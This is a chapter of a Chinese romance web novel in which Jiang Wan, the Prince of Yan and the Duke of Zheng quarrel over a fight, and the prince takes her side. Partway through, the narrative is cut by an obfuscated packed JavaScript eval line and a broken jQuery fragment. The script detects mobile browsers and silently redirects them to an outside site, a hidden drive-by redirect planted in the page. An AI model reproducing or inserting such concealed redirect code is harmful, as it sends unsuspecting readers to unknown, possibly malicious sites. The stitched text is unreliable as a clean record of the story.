姜宛转身想看他是谁,后脑勺却被用力按住,被迫埋在了对方胸前。
不过不用看也知道是谁,因为不久前她就靠在这人怀里,只是耳边传来的心跳声,比在地道里要剧烈许多。
姜宛试图抬起头,却被牢牢按住。
突然闯入的高大男人一手按住少女,另一手抓住侍卫持剑的手一拧,那人的手臂便被当场斩落,随着软剑一同落在地上。
乍然见了血,所有人都下意识地停手看向这边。
青阳由庚并未参战看得最清楚,当场下跪:“殿下!”
郑国公原本还想发怒,看到对方的脸时也一秒滑跪:“燕王殿下!”
自家主子都跪了,他带来的侍卫也纷纷丢了兵器下跪。
觉出扣在后脑勺上的手略微放松了力道,姜宛才刚抬起头来,就听姬忱夜道:“我这次是从大门进来的。”
她愣了一下才懂他的意思,是在回应她之前不许他直接从房里出去那句话。
所以,刚刚她离开之后,他是从地道折回去,又从大门进来了?
她随口说的一句话,居然被这么认真地执行了,姜宛心里说不出是什么滋味,只茫然地点了点头:“哦。”
郑国公抢先开口:“燕王殿下明鉴,是青阳家的人打伤了我孙儿在先,我来找他们理论谁知他们竟蛮不讲理地动起手来!我的侍卫也是被逼无奈才还手的,绝不是想**。”
“现在我孙儿被打得鼻青脸肿,我手下的侍卫也……”
想到那个侍卫是被燕王斩断了手臂,他犹豫了一下还是略过不提了:“你们青阳家的人可是毫发无伤,谁先动的手殿下一看就明白。”
所有人都在等着姬忱夜主持公道,他却低头看向姜宛:“你说是怎么回事?”
“刚才是他们先动手的。”姜宛睁眼说瞎话技能已经炉火纯青,撒谎连眼睛都不带眨的。
“不过,郑公子的腿确实是我让人打断的。”
郑国公看她的眼神特别复杂,有种不知道她是傻还是精明的感觉,十分困惑。
只不过姜宛承认这一点不是为了别的,而是为了确保自己有个罪名能被开除,否则她岂不是白搞事情了?
结果她这么一说,让郑国公告状都告得没那么理直气壮了:“她在胡说!明明就是她旁边那个小道士先动手打我孙子的!”
青阳由庚却说话了:“殿下,国公说的是真的,确实是兄长的弟子冲动之下先动的手……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003651|189377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姜宛两眼一黑,她之前听说这位二叔是个超级正直的人,但没想到居然这么正直!
郑国公立刻像是打了胜仗一样抬起头来:“殿下,你听到了,就连青阳家的人也这么说,您一定要给我主持公道!”
姜宛着急道:“我二叔眼神不好,肯定是看错了,就是他们先动的手!”
众目睽睽之下,姬忱夜居然轻车熟路地抬手捏了捏她的脸:“好,你说了算。”
姜宛被他明显护短的语气弄得有点懵,还有他这个动作有点……是不是过于暧昧了?
好在其他人都半低着头不敢直视这边,所以她假装什么都没发生一样,愣是没吭声。
郑国公差点背过气去,说话的声音都颤了:“殿下,您这是什么意思?”
“你没长耳朵?”姬忱夜不耐烦地回怼。
郑国公看看他,又看看姜宛,像是明白了什么。
但回头看看自己被打成猪头还瘸了腿的孙子,他还是咬了咬牙:“既然殿下不肯主持公道,那老臣也只有去御前求陛下明断是非了!”
他叫人抬起郑业往外走,一抹带着笑意的声音却从门外飘了进来。
“国公大人不必忙了,陛下的旨意已经到了。”